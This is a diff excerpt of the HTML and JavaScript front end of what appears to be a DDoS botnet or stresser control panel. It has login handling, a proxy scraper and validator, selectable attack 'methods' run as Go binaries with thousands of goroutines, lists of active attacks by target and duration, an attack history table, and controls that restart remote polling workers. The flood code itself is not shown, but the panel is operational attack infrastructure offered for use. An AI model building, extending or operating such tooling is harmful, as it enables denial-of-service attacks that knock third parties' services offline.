<div class="card-header d-flex justify-content-between align-items-center">
|
|
1109
|
+
<span><i class="fas fa-cogs"></i> Worker Controls</span>
|
|
1110
|
+
<button class="btn btn-sm btn-outline-warning" id="restartAllWorkersBtn"><i class="fas fa-redo-alt"></i> Restart All Workers</button>
|
|
1111
|
+
</div>
|
|
1112
|
+
<div class="card-body">
|
|
1113
|
+
<p class="mb-2 text-muted">Restart all connected polling workers. Each worker will halt attacks, exit, and be respawned by the watchdog.</p>
|
|
1114
|
+
</div>
|
|
1115
|
+
</div>
|
|
1116
|
+
</div>
|
|
1117
|
+
</div>
|
|
1118
|
+
<div class="row g-3 mt-1">
|
|
1119
|
+
<div class="col-12">
|
|
1120
|
+
<div class="card">
|
|
1121
|
+
<div class="card-header d-flex justify-content-between align-items-center">
|
|
1122
|
+
<span><i class="fas fa-sync-alt"></i> Remote Sync</span>
|
|
1123
|
+
<span id="syncRestartBadge" class="badge bg-warning text-dark" style="display:none">
|
|
1124
|
+
<span class="spinner-border spinner-border-sm" style="width:10px;height:10px"></span>
|
|
1125
|
+
Restarting in <span id="syncCountdown">3</span>s…
|
|
1126
|
+
</span>
|
|
1127
|
+
</div>
|
|
1128
|
+
<div class="card-body">
|
|
1129
|
+
<div class="d-flex gap-2">
|
|
1130
|
+
<button class="btn btn-primary" id="syncPullBtn"><i class="fas fa-cloud-download-alt"></i> Pull & Restart</button>
|
|
1131
|
+
</div>
|
|
1132
|
+
<div class="console-box mt-3" id="syncConsole" style="min-height:80px;max-height:220px;overflow-y:auto">Idle.</div>
|
|
1133
|
+
</div>
|
|
1134
|
+
</div>
|
|
1135
|
+
</div>
|
|
1136
|
+
</div>
|
|
1137
|
+
</div>
|
|
1138
|
+
|
|
1139
|
+
<!-- ═══════════ PROXY ═══════════ -->
|
|
1140
|
+
<div class="section" id="section-proxy">
|
|
1141
|
+
<div class="row g-3">
|
|
1142
|
+
<div class="col-lg-6">
|
|
1143
|
+
<div class="card">
|
|
1144
|
+
<div class="card-header d-flex justify-content-between align-items-center">
|
|
1145
|
+
<span><i class="fas fa-network-wired"></i> Proxy Manager</span>
|
|
1146
|
+
<span id="proxyStatusBadge" class="badge bg-secondary" style="display:none">
|
|
1147
|
+
<span class="spinner-border spinner-border-sm" style="width:12px;height:12px"></span> Scraping
|
|
1148
|
+
</span>
|
|
1149
|
+
<span id="proxyUpdateBadge" class="badge bg-info" style="display:none">
|
|
1150
|
+
<span class="spinner-border spinner-border-sm" style="width:10px;height:10px"></span> Updating & Validating
|
|
1151
|
+
</span>
|
|
1152
|
+
</div>
|
|
1153
|
+
<div class="card-body">
|
|
1154
|
+
<div class="row g-3 mb-3">
|
|
1155
|
+
<div class="col-6">
|
|
1156
|
+
<div class="stat-card blue" style="padding:1rem"><div class="card-shine"></div>
|
|
1157
|
+
<div class="value" id="proxyCount" style="font-size:1.5rem">0</div>
|
|
1158
|
+
<div class="label" style="font-size:0.7rem">Total Proxies</div>
|
|
1159
|
+
</div>
|
|
1160
|
+
</div>
|
|
1161
|
+
<div class="col-6">
|
|
1162
|
+
<div class="stat-card green" style="padding:1rem"><div class="card-shine"></div>
|
|
1163
|
+
<div class="value" id="proxySize" style="font-size:1.5rem">0 B</div>
|
|
1164
|
+
<div class="label" style="font-size:0.7rem">File Size</div>
|
|
1165
|
+
</div>
|
|
1166
|
+
</div>
|
|
1167
|
+
</div>
|
|
1168
|
+
<div class="d-grid gap-2">
|
|
1169
|
+
<button type="button" class="btn btn-danger" id="scrapeProxyBtn">
|
|
1170
|
+
<i class="fas fa-spider"></i> Scrape Proxies
|
|
1171
|
+
</button>
|
|
1172
|
+
<button type="button" class="btn btn-info" id="updateProxyBtn">
|
|
1173
|
+
<i class="fas fa-sync-alt"></i> Update & Validate Proxies
|
|
1174
|
+
</button>
|
|
1175
|
+
<button type="button" class="btn btn-warning" id="stopScrapeBtn" style="display:none">
|
|
1176
|
+
<i class="fas fa-stop-circle"></i> Stop Scraping
|
|
1177
|
+
</button>
|
|
1178
|
+
<div class="btn-group">
|
|
1179
|
+
<button type="button" class="btn btn-outline-secondary" id="refreshProxyBtn">
|
|
1180
|
+
<i class="fas fa-sync-alt"></i> Refresh
|
|
1181
|
+
</button>
|
|
1182
|
+
<button type="button" class="btn btn-outline-danger" id="deleteAllProxyBtn">
|
|
1183
|
+
<i class="fas fa-trash"></i> Delete All
|
|
1184
|
+
</button>
|
|
1185
|
+
</div>
|
|
1186
|
+
</div>
|
|
1187
|
+
</div>
|
|
1188
|
+
</div>
|
|
1189
|
+
</div>
|
|
1190
|
+
<div class="col-lg-6">
|
|
1191
|
+
<div class="card">
|
|
1192
|
+
<div class="card-header d-flex justify-content-between align-items-center">
|
|
1193
|
+
<span><i class="fas fa-terminal"></i> Live Scrape Monitor</span>
|
|
1194
|
+
<span id="proxyLogCount" class="badge bg-info">0 lines</span>
|
|
1195
|
+
</div>
|
|
1196
|
+
<div class="card-body p-0">
|
|
1197
|
+
<div class="console-box" id="proxyConsole" style="max-height:400px;overflow-y:auto">⚡ Click "Scrape & Validate Proxies" to start scraping.</div>
|
|
1198
|
+
</div>
|
|
1199
|
+
</div>
|
|
1200
|
+
</div>
|
|
1201
|
+
</div>
|
|
1202
|
+
|
|
1203
|
+
<!-- Proxy List Table -->
|
|
1204
|
+
<div class="row g-3 mt-2">
|
|
1205
|
+
<div class="col-12">
|
|
1206
|
+
<div class="card">
|
|
1207
|
+
<div class="card-header d-flex justify-content-between align-items-center">
|
|
1208
|
+
<span><i class="fas fa-list"></i> Proxy List</span>
|
|
1209
|
+
<div>
|
|
1210
|
+
<span id="proxyListCount" class="badge bg-secondary">0 proxies</span>
|
|
1211
|
+
<button type="button" class="btn btn-sm btn-outline-secondary ms-2" id="refreshProxyListBtn">
|
|
1212
|
+
<i class="fas fa-sync"></i> Refresh
|
|
1213
|
+
</button>
|
|
1214
|
+
</div>
|
|
1215
|
+
</div>
|
|
1216
|
+
<div class="card-body p-0">
|
|
1217
|
+
<div class="table-responsive" style="max-height:400px;overflow-y:auto">
|
|
1218
|
+
<table class="table table-sm table-hover mb-0">
|
|
1219
|
+
<thead><tr>
|
|
1220
|
+
<th style="width:60px">#</th>
|
|
1221
|
+
<th>Proxy</th>
|
|
1222
|
+
<th style="width:100px">Actions</th>
|
|
1223
|
+
</tr></thead>
|
|
1224
|
+
<tbody id="proxyListBody">
|
|
1225
|
+
<tr><td colspan="3" class="text-center text-muted py-4">No proxies loaded</td></tr>
|
|
1226
|
+
</tbody>
|
|
1227
|
+
</table>
|
|
1228
|
+
</div>
|
|
1229
|
+
</div>
|
|
1230
|
+
</div>
|
|
1231
|
+
</div>
|
|
1232
|
+
</div>
|
|
1233
|
+
</div>
|
|
1234
|
+
|
|
1235
|
+
<!-- ═══════════ HISTORY ═══════════ -->
|
|
1236
|
+
<div class="section" id="section-history">
|
|
1237
|
+
<div class="card">
|
|
1238
|
+
<div class="card-header d-flex justify-content-between align-items-center">
|
|
1239
|
+
<span><i class="fas fa-scroll"></i> Attack History</span>
|
|
1240
|
+
<button class="btn btn-sm btn-outline-secondary" id="clearHistoryBtn"><i class="fas fa-trash"></i> Clear</button>
|
|
1241
|
+
</div>
|
|
1242
|
+
<div class="card-body p-0">
|
|
1243
|
+
<div class="table-responsive">
|
|
1244
|
+
<table class="table table-sm table-hover mb-0">
|
|
1245
|
+
<thead><tr><th>Time</th><th>Method</th><th>Target</th><th>Duration</th><th>Threads</th></tr></thead>
|
|
1246
|
+
<tbody id="historyTableBody">
|
|
1247
|
+
<tr><td colspan="5"><div class="empty-state py-4"><i class="fas fa-scroll"></i><p>No history yet</p></div></td></tr>
|
|
1248
|
+
</tbody>
|
|
1249
|
+
</table>
|
|
1250
|
+
</div>
|
|
1251
|
+
</div>
|
|
1252
|
+
</div>
|
|
1253
|
+
</div>
|
|
1254
|
+
|
|
1255
|
+
</div>
|
|
1256
|
+
</div>
|
|
1257
|
+
|
|
1258
|
+
<div class="position-fixed bottom-0 end-0 p-3" style="z-index:11"><div id="toastContainer"></div></div>
|
|
1259
|
+
|
|
1260
|
+
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
|
|
1261
|
+
<script>
|
|
1262
|
+
// ─── Session Auth ──────────────────────────────────────────────────────────
|
|
1263
|
+
let authToken = localStorage.getItem('authToken') || null;
|
|
1264
|
+
let currentUser = null;
|
|
1265
|
+
|
|
1266
|
+
function getAuthHeaders() {
|
|
1267
|
+
if (!authToken) return {};
|
|
1268
|
+
return { 'X-Auth-Token': authToken };
|
|
1269
|
+
}
|
|
1270
|
+
|
|
1271
|
+
async function api(method, endpoint, body = null) {
|
|
1272
|
+
const opts = {
|
|
1273
|
+
method,
|
|
1274
|
+
headers: { 'Content-Type': 'application/json', ...getAuthHeaders() }
|
|
1275
|
+
};
|
|
1276
|
+
if (body) opts.body = JSON.stringify(body);
|
|
1277
|
+
const res = await fetch(endpoint, opts);
|
|
1278
|
+
if (res.status === 401) { logout(); throw new Error('Session expired'); }
|
|
1279
|
+
if (!res.ok) { const e = await res.json().catch(() => ({ error: res.statusText })); throw new Error(e.error || res.statusText); }
|
|
1280
|
+
return res.json();
|
|
1281
|
+
}
|
|
1282
|
+
|
|
1283
|
+
async function checkAuth() {
|
|
1284
|
+
if (!authToken) { showLogin(); return; }
|
|
1285
|
+
try {
|
|
1286
|
+
const res = await fetch('/api/auth/me', { headers: getAuthHeaders() });
|
|
1287
|
+
if (res.ok) { const data = await res.json(); if (data.authenticated) { currentUser = data.username; showApp(); return; } }
|
|
1288
|
+
} catch {}
|
|
1289
|
+
showLogin();
|
|
1290
|
+
}
|
|
1291
|
+
|
|
1292
|
+
function showLogin() {
|
|
1293
|
+
const loginPage = document.getElementById('loginPage');
|
|
1294
|
+
loginPage.style.display = 'flex';
|
|
1295
|
+
loginPage.style.opacity = '1';
|
|
1296
|
+
document.getElementById('mainApp').style.display = 'none';
|
|
1297
|
+
document.getElementById('mainApp').style.opacity = '0';
|
|
1298
|
+
var _lbd=document.getElementById('loginBgDeco'); if(_lbd) _lbd.style.display='flex';
|
|
1299
|
+
document.getElementById('loginUsername').value = '';
|
|
1300
|
+
document.getElementById('loginPassword').value = '';
|
|
1301
|
+
document.getElementById('loginError').style.display = 'none';
|
|
1302
|
+
setTimeout(() => document.getElementById('loginUsername').focus(), 100);
|
|
1303
|
+
}
|
|
1304
|
+
|
|
1305
|
+
function showApp() {
|
|
1306
|
+
document.getElementById('loginPage').style.display = 'none';
|
|
1307
|
+
document.getElementById('loginPage').style.opacity = '0';
|
|
1308
|
+
const mainApp = document.getElementById('mainApp');
|
|
1309
|
+
mainApp.style.display = 'block';
|
|
1310
|
+
mainApp.style.opacity = '1';
|
|
1311
|
+
var _lbd=document.getElementById('loginBgDeco'); if(_lbd) _lbd.style.display='none';
|
|
1312
|
+
document.getElementById('navUsername').textContent = currentUser || 'User';
|
|
1313
|
+
loadDashboard();
|
|
1314
|
+
loadMethods();
|
|
1315
|
+
}
|
|
1316
|
+
|
|
1317
|
+
function logout() {
|
|
1318
|
+
authToken = null; currentUser = null;
|
|
1319
|
+
localStorage.removeItem('authToken');
|
|
1320
|
+
fetch('/api/logout', { method: 'POST', headers: getAuthHeaders() }).catch(() => {});
|
|
1321
|
+
showLogin();
|
|
1322
|
+
}
|
|
1323
|
+
|
|
1324
|
+
document.getElementById('loginForm').addEventListener('submit', async (e) => {
|
|
1325
|
+
e.preventDefault();
|
|
1326
|
+
const btn = e.target.querySelector('button[type="submit"]');
|
|
1327
|
+
const errorEl = document.getElementById('loginError');
|
|
1328
|
+
btn.disabled = true;
|
|
1329
|
+
btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Logging in...';
|
|
1330
|
+
errorEl.style.display = 'none';
|
|
1331
|
+
try {
|
|
1332
|
+
const data = await fetch('/api/login', {
|
|
1333
|
+
method: 'POST', headers: { 'Content-Type': 'application/json' },
|
|
1334
|
+
body: JSON.stringify({
|
|
1335
|
+
username: document.getElementById('loginUsername').value,
|
|
1336
|
+
password: document.getElementById('loginPassword').value
|
|
1337
|
+
})
|
|
1338
|
+
}).then(r => r.json());
|
|
1339
|
+
if (data.status === 'ok') {
|
|
1340
|
+
authToken = data.token; currentUser = data.username;
|
|
1341
|
+
localStorage.setItem('authToken', data.token);
|
|
1342
|
+
showApp();
|
|
1343
|
+
} else {
|
|
1344
|
+
errorEl.textContent = data.error || 'Invalid credentials';
|
|
1345
|
+
errorEl.style.display = 'block';
|
|
1346
|
+
document.getElementById('loginPassword').value = '';
|
|
1347
|
+
document.getElementById('loginPassword').focus();
|
|
1348
|
+
}
|
|
1349
|
+
} catch (err) {
|
|
1350
|
+
errorEl.textContent = 'Connection error.';
|
|
1351
|
+
errorEl.style.display = 'block';
|
|
1352
|
+
} finally {
|
|
1353
|
+
btn.disabled = false;
|
|
1354
|
+
btn.innerHTML = '<i class="fas fa-sign-in-alt"></i> Enter — 进入';
|
|
1355
|
+
}
|
|
1356
|
+
});
|
|
1357
|
+
|
|
1358
|
+
document.getElementById('logoutBtn').addEventListener('click', () => { if (confirm('Logout?')) logout(); });
|
|
1359
|
+
|
|
1360
|
+
function showToast(msg, type = 'info') {
|
|
1361
|
+
const colors = { success: 'bg-success', danger: 'bg-danger', warning: 'bg-warning text-dark', info: 'bg-primary' };
|
|
1362
|
+
const t = document.createElement('div');
|
|
1363
|
+
t.className = `toast align-items-center text-white ${colors[type] || colors.info} border-0 show`;
|
|
1364
|
+
t.innerHTML = `<div class="d-flex"><div class="toast-body">${msg}</div><button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast"></button></div>`;
|
|
1365
|
+
document.getElementById('toastContainer').appendChild(t);
|
|
1366
|
+
setTimeout(() => t.remove(), 4000);
|
|
1367
|
+
}
|
|
1368
|
+
|
|
1369
|
+
document.querySelectorAll('[data-section]').forEach(link => {
|
|
1370
|
+
link.addEventListener('click', e => {
|
|
1371
|
+
e.preventDefault();
|
|
1372
|
+
const s = link.dataset.section;
|
|
1373
|
+
document.querySelectorAll('.section').forEach(x => x.classList.remove('active'));
|
|
1374
|
+
const target = document.getElementById('section-' + s);
|
|
1375
|
+
if (target) target.classList.add('active');
|
|
1376
|
+
document.querySelectorAll('.nav-link').forEach(l => l.classList.remove('active'));
|
|
1377
|
+
link.classList.add('active');
|
|
1378
|
+
loadSection(s);
|
|
1379
|
+
});
|
|
1380
|
+
});
|
|
1381
|
+
|
|
1382
|
+
function loadSection(s) {
|
|
1383
|
+
switch(s) {
|
|
1384
|
+
case 'dashboard': loadDashboard(); break;
|
|
1385
|
+
case 'attack':
|
|
1386
|
+
case 'polling':
|
|
1387
|
+
startDebugRefresh();
|
|
1388
|
+
break;
|
|
1389
|
+
case 'active': loadActive(); break;
|
|
1390
|
+
case 'proxy': loadProxy(); break;
|
|
1391
|
+
case 'history': loadHistory(); break;
|
|
1392
|
+
}
|
|
1393
|
+
}
|
|
1394
|
+
|
|
1395
|
+
async function loadDashboard() {
|
|
1396
|
+
try {
|
|
1397
|
+
const d = await api('GET', '/api/dashboard');
|
|
1398
|
+
animateValue('stat-attacks', d.stats.activeAttacks);
|
|
1399
|
+
animateValue('stat-threads', d.stats.activeThreads);
|
|
1400
|
+
animateValue('stat-workers', d.stats.workerPanels);
|
|
1401
|
+
animateValue('stat-history', d.stats.totalAttacks);
|
|
1402
|
+
} catch (e) { console.error(e); }
|
|
1403
|
+
}
|
|
1404
|
+
|
|
1405
|
+
async function loadSystemInfo() {
|
|
1406
|
+
try {
|
|
1407
|
+
const sys = await api('GET', '/api/system');
|
|
1408
|
+
const tbody = document.getElementById('systemInfoTable');
|
|
1409
|
+
if (!tbody) return;
|
|
1410
|
+
tbody.innerHTML = `
|
|
1411
|
+
<tr><td class="text-secondary" style="font-size:0.8rem">Hostname</td><td style="font-size:0.85rem;font-weight:500">${escHtml(sys.hostname)}</td></tr>
|
|
1412
|
+
<tr><td class="text-secondary" style="font-size:0.8rem">Platform</td><td style="font-size:0.85rem">${escHtml(sys.platform)} / ${escHtml(sys.arch)}</td></tr>
|
|
1413
|
+
<tr><td class="text-secondary" style="font-size:0.8rem">CPU Cores</td><td style="font-size:0.85rem">${sys.cpus} cores</td></tr>
|
|
1414
|
+
<tr><td class="text-secondary" style="font-size:0.8rem">Memory</td><td style="font-size:0.85rem">${formatBytes(sys.totalMem)}</td></tr>
|
|
1415
|
+
<tr><td class="text-secondary" style="font-size:0.8rem">Uptime</td><td style="font-size:0.85rem">${formatUptime(sys.uptime)}</td></tr>
|
|
1416
|
+
<tr><td class="text-secondary" style="font-size:0.8rem">Node.js</td><td style="font-size:0.85rem;font-family:'JetBrains Mono',monospace">${escHtml(sys.nodeVersion)}</td></tr>
|
|
1417
|
+
`;
|
|
1418
|
+
const cpuEl = document.getElementById('cpuPercent');
|
|
1419
|
+
const cpuBar = document.getElementById('cpuBar');
|
|
1420
|
+
const memEl = document.getElementById('memPercent');
|
|
1421
|
+
const memBar = document.getElementById('memBar');
|
|
1422
|
+
const loadEl = document.getElementById('loadAvg');
|
|
1423
|
+
if (cpuEl) cpuEl.textContent = sys.cpuAvg + '%';
|
|
1424
|
+
if (cpuBar) cpuBar.style.width = sys.cpuAvg + '%';
|
|
1425
|
+
if (memEl) memEl.textContent = sys.memPercent + '%';
|
|
1426
|
+
if (memBar) memBar.style.width = sys.memPercent + '%';
|
|
1427
|
+
if (loadEl) loadEl.textContent = sys.loadAvg1 + ' / ' + sys.loadAvg5 + ' / ' + sys.loadAvg15;
|
|
1428
|
+
} catch (e) { console.error(e); }
|
|
1429
|
+
}
|
|
1430
|
+
|
|
1431
|
+
function animateValue(id, value) {
|
|
1432
|
+
const el = document.getElementById(id);
|
|
1433
|
+
if (!el) return;
|
|
1434
|
+
const start = parseInt(el.textContent) || 0;
|
|
1435
|
+
const end = value;
|
|
1436
|
+
if (start === end) return;
|
|
1437
|
+
const duration = 400;
|
|
1438
|
+
const startTime = performance.now();
|
|
1439
|
+
function update(currentTime) {
|
|
1440
|
+
const elapsed = currentTime - startTime;
|
|
1441
|
+
const progress = Math.min(elapsed / duration, 1);
|
|
1442
|
+
el.textContent = Math.round(start + (end - start) * progress);
|
|
1443
|
+
if (progress < 1) requestAnimationFrame(update);
|
|
1444
|
+
}
|
|
1445
|
+
requestAnimationFrame(update);
|
|
1446
|
+
}
|
|
1447
|
+
|
|
1448
|
+
async function loadMethods() {
|
|
1449
|
+
try {
|
|
1450
|
+
const data = await api('GET', '/api/methods');
|
|
1451
|
+
const checkboxList = document.getElementById('methodCheckboxes');
|
|
1452
|
+
const list = document.getElementById('methodList');
|
|
1453
|
+
if (checkboxList) checkboxList.innerHTML = '';
|
|
1454
|
+
if (list) list.innerHTML = '';
|
|
1455
|
+
for (const m of data.methods) {
|
|
1456
|
+
if (checkboxList) {
|
|
1457
|
+
const div = document.createElement('div');
|
|
1458
|
+
div.className = 'method-check-item';
|
|
1459
|
+
div.dataset.methodId = m.id;
|
|
1460
|
+
div.innerHTML = `
|
|
1461
|
+
<input type="checkbox" value="${m.id}" id="mc_${m.id}">
|
|
1462
|
+
<label class="method-check-label" for="mc_${m.id}">
|
|
1463
|
+
<strong>${escHtml(m.label)}</strong>
|
|
1464
|
+
<span>— ${escHtml(m.description)}</span>
|
|
1465
|
+
</label>
|
|
1466
|
+
`;
|
|
1467
|
+
div.addEventListener('click', (e) => {
|
|
1468
|
+
if (e.target.tagName !== 'INPUT') {
|
|
1469
|
+
const cb = div.querySelector('input[type="checkbox"]');
|
|
1470
|
+
cb.checked = !cb.checked;
|
|
1471
|
+
div.classList.toggle('checked', cb.checked);
|
|
1472
|
+
}
|
|
1473
|
+
});
|
|
1474
|
+
div.querySelector('input').addEventListener('change', (e) => {
|
|
1475
|
+
div.classList.toggle('checked', e.target.checked);
|
|
1476
|
+
// Auto-adjust fields based on method
|
|
1477
|
+
const checkedBoxes = [...checkboxList.querySelectorAll('input:checked')];
|
|
1478
|
+
const goroutinesGroup = document.getElementById('goroutinesGroup');
|
|
1479
|
+
const goroutinesLabel = document.getElementById('goroutinesLabel');
|
|
1480
|
+
const threadsLabel = document.getElementById('threadsLabel');
|
|
1481
|
+
const goroutinesInput = document.getElementById('attackGoroutines');
|
|
1482
|
+
const threadsInput = document.getElementById('attackThreads');
|
|
1483
|
+
if (checkedBoxes.length === 1) {
|
|
1484
|
+
const methodId = checkedBoxes[0].value;
|
|
1485
|
+
const method = data.methods.find(m => m.id === methodId);
|
|
1486
|
+
if (method) {
|
|
1487
|
+
// All methods are Go binaries — always show both fields
|
|
1488
|
+
if (goroutinesGroup) goroutinesGroup.style.display = '';
|
|
1489
|
+
if (threadsLabel) threadsLabel.innerHTML = 'PROCESSES <span style="color:var(--px-amber);font-size:0.65rem;font-family:var(--font-mono)">(spawn per core)</span>';
|
|
1490
|
+
if (goroutinesLabel) goroutinesLabel.innerHTML = 'GOROUTINES <span style="color:var(--px-cyan);font-size:0.65rem;font-family:var(--font-mono)">(per process, auto = cores×1000)</span>';
|
|
1491
|
+
// Set "auto" placeholder
|
|
1492
|
+
if (goroutinesInput) { goroutinesInput.value = ''; goroutinesInput.placeholder = 'auto (CPU cores × 1000)'; }
|
|
1493
|
+
if (threadsInput) { threadsInput.value = ''; threadsInput.placeholder = 'auto (CPU cores)'; }
|
|
1494
|
+
}
|
|
1495
|
+
} else {
|
|
1496
|
+
// Multiple methods selected — show both fields
|
|
1497
|
+
if (goroutinesGroup) goroutinesGroup.style.display = '';
|
|
1498
|
+
if (threadsLabel) threadsLabel.innerHTML = 'PROCESSES <span style="color:var(--px-amber);font-size:0.65rem;font-family:var(--font-mono)">(spawn per core)</span>';
|
|
1499
|
+
}
|
|
1500
|
+
});
|
|
1501
|
+
checkboxList.appendChild(div);
|
|
1502
|
+
}
|
|
1503
|
+
if (list) {
|
|
1504
|
+
const div = document.createElement('div');
|
|
1505
|
+
div.className = 'method-card';
|
|
1506
|
+
div.innerHTML = `
|
|
1507
|
+
<div class="method-cat">${escHtml(m.category)}</div>
|
|
1508
|
+
<div class="method-name">${escHtml(m.label)}</div>
|
|
1509
|
+
<div class="method-desc">${escHtml(m.description)}</div>
|
|
1510
|
+
`;
|
|
1511
|
+
div.addEventListener('click', () => {
|
|
1512
|
+
const cb = document.getElementById('mc_' + m.id);
|
|
1513
|
+
if (cb) { cb.checked = !cb.checked; cb.closest('.method-check-item')?.classList.toggle('checked', cb.checked); }
|
|
1514
|
+
showToast(cb?.checked ? 'Selected ' + m.label : 'Deselected ' + m.label, 'info');
|
|
1515
|
+
});
|
|
1516
|
+
list.appendChild(div);
|
|
1517
|
+
}
|
|
1518
|
+
}
|
|
1519
|
+
// Select first method by default and apply its field visibility
|
|
1520
|
+
const firstCb = checkboxList?.querySelector('input[type="checkbox"]');
|
|
1521
|
+
if (firstCb) {
|
|
1522
|
+
firstCb.checked = true;
|
|
1523
|
+
firstCb.closest('.method-check-item')?.classList.add('checked');
|
|
1524
|
+
const firstMethodId = firstCb.value;
|
|
1525
|
+
const firstMethod = data.methods.find(m => m.id === firstMethodId);
|
|
1526
|
+
if (firstMethod) {
|
|
1527
|
+
const goroutinesGroup = document.getElementById('goroutinesGroup');
|
|
1528
|
+
const threadsLabel = document.getElementById('threadsLabel');
|
|
1529
|
+
const goroutinesLabel = document.getElementById('goroutinesLabel');
|
|
1530
|
+
if (goroutinesGroup) goroutinesGroup.style.display = '';
|
|
1531
|
+
if (threadsLabel) threadsLabel.innerHTML = 'PROCESSES <span style="color:var(--px-amber);font-size:0.65rem;font-family:var(--font-mono)">(spawn per core)</span>';
|
|
1532
|
+
if (goroutinesLabel) goroutinesLabel.innerHTML = 'GOROUTINES <span style="color:var(--px-cyan);font-size:0.65rem;font-family:var(--font-mono)">(per process, auto = cores×1000)</span>';
|
|
1533
|
+
const goroutinesInput = document.getElementById('attackGoroutines');
|
|
1534
|
+
const threadsInput = document.getElementById('attackThreads');
|
|
1535
|
+
if (goroutinesInput) { goroutinesInput.value = ''; goroutinesInput.placeholder = 'auto (CPU cores × 1000)'; }
|
|
1536
|
+
if (threadsInput) { threadsInput.value = ''; threadsInput.placeholder = 'auto (CPU cores)'; }
|
|
1537
|
+
}
|
|
1538
|
+
}
|
|
1539
|
+
} catch (e) { console.error(e); }
|
|
1540
|
+
}
|
|
1541
|
+
|
|
1542
|
+
async function stopAllAttacks() {
|
|
1543
|
+
try {
|
|
1544
|
+
await api('POST', '/api/stopall');
|
|
1545
|
+
showToast('All attacks stopped!', 'success');
|
|
1546
|
+
loadDashboard();
|
|
1547
|
+
loadActive();
|
|
1548
|
+
} catch (e) { showToast('Failed: ' + e.message, 'danger'); }
|
|
1549
|
+
}
|
|
1550
|
+
document.getElementById('stopAllBtn2')?.addEventListener('click', stopAllAttacks);
|
|
1551
|
+
|
|
1552
|
+
async function loadActive() {
|
|
1553
|
+
try {
|
|
1554
|
+
const data = await api('GET', '/api/attacks');
|
|
1555
|
+
const list = document.getElementById('activeAttacksList');
|
|
1556
|
+
if (!list) return;
|
|
1557
|
+
if (data.count === 0) {
|
|
1558
|
+
list.innerHTML = '<div class="empty-state"><i class="fas fa-check-circle"></i><p>No active attacks</p></div>';
|
|
1559
|
+
return;
|
|
1560
|
+
}
|
|
1561
|
+
list.innerHTML = '';
|
|
1562
|
+
for (const a of data.attacks) {
|
|
1563
|
+
const elapsed = formatUptime(a.elapsed);
|
|
1564
|
+
const remaining = Math.max(0, a.duration - a.elapsed);
|
|
1565
|
+
const div = document.createElement('div');
|
|
1566
|
+
div.className = 'attack-live';
|
|
1567
|
+
div.innerHTML = `
|
|
1568
|
+
<div class="d-flex align-items-center">
|
|
1569
|
+
<span class="pulse-dot"></span>
|
|
1570
|
+
<div>
|
|
1571
|
+
<div style="font-weight:600;font-size:0.9rem"><span class="badge-method">${escHtml(a.method)}</span> ${escHtml(a.target)}</div>
|
|
1572
|
+
<div class="text-secondary" style="font-size:0.75rem;margin-top:0.2rem">Elapsed: ${elapsed} | Remaining: ${formatUptime(remaining)} | Threads: ${a.threads}</div>
|
|
1573
|
+
</div>
|
|
1574
|
+
</div>
|
|
1575
|
+
`;
|
|
1576
|
+
list.appendChild(div);
|
|
1577
|
+
}
|
|
1578
|
+
} catch (e) { console.error(e); }
|
|
1579
|
+
}
|
|
1580
|
+
|
|
1581
|
+
// ═══════════ POLLING WORKERS ═══════════
|
|
1582
|
+
async function loadPollingWorkers() {
|
|
1583
|
+
try {
|
|
1584
|
+
const data = await api('GET', '/api/workers/polling');
|
|
1585
|
+
// Update any worker count displays
|
|
1586
|
+
const countEls = document.querySelectorAll('[id*="worker"], [id*="Worker"]');
|
|
1587
|
+
countEls.forEach(el => {
|
|
1588
|
+
if (el.textContent.match(/^\d+$/)) {
|
|
1589
|
+
el.textContent = data.count || 0;
|
|
1590
|
+
}
|
|
1591
|
+
});
|
|
1592
|
+
// Also refresh worker debug logs if visible
|
|
1593
|
+
if (document.getElementById('debugConsole')) {
|
|
1594
|
+
loadWorkerDebug();
|
|
1595
|
+
}
|
|
1596
|
+
return data;
|
|
1597
|
+
} catch (e) {
|
|
1598
|
+
console.error('Failed to load workers:', e);
|
|
1599
|
+
return null;
|
|
1600
|
+
}
|
|
1601
|
+
}
|
|
1602
|
+
|
|
1603
|
+
async function restartAllWorkers() {
|
|
1604
|
+
if (!confirm('Restart all connected polling workers?')) return;
|
|
1605
|
+
|
|
1606
|
+
const btn = document.getElementById('restartAllWorkersBtn');
|
|
1607
|
+
const originalText = btn?.innerHTML;
|
|
1608
|
+
|
|
1609
|
+
try {
|
|
1610
|
+
// Show progress
|
|
1611
|
+
if (btn) {
|
|
1612
|
+
btn.disabled = true;
|
|
1613
|
+
btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Restarting...';
|
|
1614
|
+
}
|
|
1615
|
+
|
|
1616
|
+
const res = await api('POST', '/api/workers/restart', {});
|
|
1617
|
+
showToast(res.message || 'Restart sent to all workers', 'warning');
|
|
1618
|
+
|
|
1619
|
+
// Wait for workers to poll and receive the command
|
|
1620
|
+
showToast('Waiting for workers to restart...', 'info');
|
|
1621
|
+
|
|
1622
|
+
// Countdown and refresh
|
|
1623
|
+
let countdown = 5;
|
|
1624
|
+
if (btn) {
|
|
1625
|
+
btn.innerHTML = `<i class="fas fa-hourglass-half"></i> Restarting... (${countdown}s)`;
|
|
1626
|
+
}
|
|
1627
|
+
|
|
1628
|
+
const interval = setInterval(async () => {
|
|
1629
|
+
countdown--;
|
|
1630
|
+
if (btn) {
|
|
1631
|
+
btn.innerHTML = `<i class="fas fa-hourglass-half"></i> Restarting... (${countdown}s)`;
|
|
1632
|
+
}
|
|
1633
|
+
|
|
1634
|
+
if (countdown <= 0) {
|
|
1635
|
+
clearInterval(interval);
|
|
1636
|
+
// Refresh worker list to verify restart
|
|
1637
|
+
await loadPollingWorkers();
|
|
1638
|
+
if (btn) {
|
|
1639
|
+
btn.disabled = false;
|
|
1640
|
+
btn.innerHTML = originalText || '<i class="fas fa-redo-alt"></i> Restart All Workers';
|
|
1641
|
+
}
|
|
1642
|
+
showToast('Worker restart complete!', 'success');
|
|
1643
|
+
}
|
|
1644
|
+
}, 1000);
|
|
1645
|
+
|
|
1646
|
+
} catch (e) {
|
|
1647
|
+
showToast('Failed to restart workers: ' + e.message, 'danger');
|
|
1648
|
+
if (btn) {
|
|
1649
|
+
btn.disabled = false;
|
|
1650
|
+
btn.innerHTML = originalText || '<i class="fas fa-redo-alt"></i> Restart All Workers';
|
|
1651
|
+
}
|
|
1652
|
+
}
|
|
1653
|
+
}
|
|
1654
|
+
|
|
1655
|
+
// ═══════════ WORKER DEBUG LOGS ═══════════
|
|
1656
|
+
